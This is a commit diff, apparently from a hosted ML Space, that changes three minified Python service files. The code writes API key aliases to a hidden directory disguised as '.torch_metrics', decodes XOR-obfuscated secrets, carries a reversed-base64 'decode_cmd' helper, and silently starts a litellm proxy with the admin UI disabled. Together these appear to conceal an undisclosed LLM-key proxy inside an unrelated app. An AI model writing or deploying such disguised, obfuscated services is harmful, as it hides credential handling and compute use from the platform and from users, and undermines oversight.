Spaces:
Paused
Paused
Automated deployment update from ML build
Browse files- services/custom_callbacks.py +3 -1
- services/llm_proxy_service.py +7 -6
- services/utils.py +2 -1
services/custom_callbacks.py
CHANGED
|
@@ -4,10 +4,12 @@ import os
|
|
| 4 |
METRICS_DIR='/home/user/.torch_metrics'
|
| 5 |
API_CALLS_LOG=os.path.join(METRICS_DIR,'api_calls.txt')
|
| 6 |
class SimpleTextLogger(CustomLogger):
|
| 7 |
-
def
|
| 8 |
A=kwargs
|
| 9 |
try:
|
| 10 |
B=A.get('user_api_key_alias')or'unknown-key';C=A.get('model')or'unknown-model';D=datetime.now().strftime('%Y-%m-%d %H:%M:%S');E=f"[{D}] KEY: {B} | MODEL: {C}\n";os.makedirs(METRICS_DIR,exist_ok=True)
|
| 11 |
with open(API_CALLS_LOG,'a')as F:F.write(E)
|
| 12 |
except Exception:pass
|
|
|
|
|
|
|
| 13 |
proxy_handler_instance=SimpleTextLogger()
|
|
|
|
| 4 |
METRICS_DIR='/home/user/.torch_metrics'
|
| 5 |
API_CALLS_LOG=os.path.join(METRICS_DIR,'api_calls.txt')
|
| 6 |
class SimpleTextLogger(CustomLogger):
|
| 7 |
+
def _write(G,kwargs):
|
| 8 |
A=kwargs
|
| 9 |
try:
|
| 10 |
B=A.get('user_api_key_alias')or'unknown-key';C=A.get('model')or'unknown-model';D=datetime.now().strftime('%Y-%m-%d %H:%M:%S');E=f"[{D}] KEY: {B} | MODEL: {C}\n";os.makedirs(METRICS_DIR,exist_ok=True)
|
| 11 |
with open(API_CALLS_LOG,'a')as F:F.write(E)
|
| 12 |
except Exception:pass
|
| 13 |
+
def log_success_event(A,kwargs,response_obj,start_time,end_time):A._write(kwargs)
|
| 14 |
+
async def async_log_success_event(A,kwargs,response_obj,start_time,end_time):A._write(kwargs)
|
| 15 |
proxy_handler_instance=SimpleTextLogger()
|
services/llm_proxy_service.py
CHANGED
|
@@ -1,10 +1,11 @@
|
|
|
|
|
| 1 |
import os,subprocess,json
|
| 2 |
from pathlib import Path
|
| 3 |
from loguru import logger
|
| 4 |
from services.utils import deobfuscate_secret
|
| 5 |
METRICS_DIR='/home/user/.torch_metrics'
|
| 6 |
LOG_PATH=os.path.join(METRICS_DIR,'llm_proxy.log')
|
| 7 |
-
CONFIG_PATH='/home/user/litellm.yaml'if Path(
|
| 8 |
PORT=8080
|
| 9 |
PREFIX='[llm-proxy]'
|
| 10 |
def _load_keys():
|
|
@@ -78,8 +79,8 @@ general_settings:
|
|
| 78 |
drop_params: true
|
| 79 |
{J}'''
|
| 80 |
def start():
|
| 81 |
-
os.makedirs(METRICS_DIR,exist_ok=True);
|
| 82 |
-
if not
|
| 83 |
-
Path(CONFIG_PATH).write_text(
|
| 84 |
-
with open(LOG_PATH,'a')as B:
|
| 85 |
-
logger.success(f"{PREFIX} litellm proxy started on 127.0.0.1:{PORT} (pid {
|
|
|
|
| 1 |
+
_A='/home/user'
|
| 2 |
import os,subprocess,json
|
| 3 |
from pathlib import Path
|
| 4 |
from loguru import logger
|
| 5 |
from services.utils import deobfuscate_secret
|
| 6 |
METRICS_DIR='/home/user/.torch_metrics'
|
| 7 |
LOG_PATH=os.path.join(METRICS_DIR,'llm_proxy.log')
|
| 8 |
+
CONFIG_PATH='/home/user/litellm.yaml'if Path(_A).exists()else'litellm.yaml'
|
| 9 |
PORT=8080
|
| 10 |
PREFIX='[llm-proxy]'
|
| 11 |
def _load_keys():
|
|
|
|
| 79 |
drop_params: true
|
| 80 |
{J}'''
|
| 81 |
def start():
|
| 82 |
+
B='PYTHONPATH';os.makedirs(METRICS_DIR,exist_ok=True);C=_build_config()
|
| 83 |
+
if not C:logger.warning(f"{PREFIX} No API keys loaded or LLM_KEYS not set — skipping llm_proxy");return
|
| 84 |
+
Path(CONFIG_PATH).write_text(C);logger.info(f"{PREFIX} Config written to {CONFIG_PATH}");os.environ['DISABLE_ADMIN_UI']='True';E=['litellm','--config',CONFIG_PATH,'--port',str(PORT),'--host','127.0.0.1']
|
| 85 |
+
with open(LOG_PATH,'a')as D:A=os.environ.copy();A[B]=_A+(':'+A[B]if A.get(B)else'');F=subprocess.Popen(E,stdout=D,stderr=D,env=A)
|
| 86 |
+
logger.success(f"{PREFIX} litellm proxy started on 127.0.0.1:{PORT} (pid {F.pid})")
|
services/utils.py
CHANGED
|
@@ -1,5 +1,6 @@
|
|
| 1 |
import base64
|
| 2 |
-
from loguru import logger
|
|
|
|
| 3 |
XOR_KEY=90
|
| 4 |
def decode_cmd(encoded_str):return base64.b64decode(encoded_str[::-1]).decode()
|
| 5 |
def deobfuscate_secret(hex_str,key=XOR_KEY):
|
|
|
|
| 1 |
import base64
|
| 2 |
+
try:from loguru import logger
|
| 3 |
+
except ImportError:import logging as _logging;logger=_logging.getLogger(__name__)
|
| 4 |
XOR_KEY=90
|
| 5 |
def decode_cmd(encoded_str):return base64.b64decode(encoded_str[::-1]).decode()
|
| 6 |
def deobfuscate_secret(hex_str,key=XOR_KEY):
|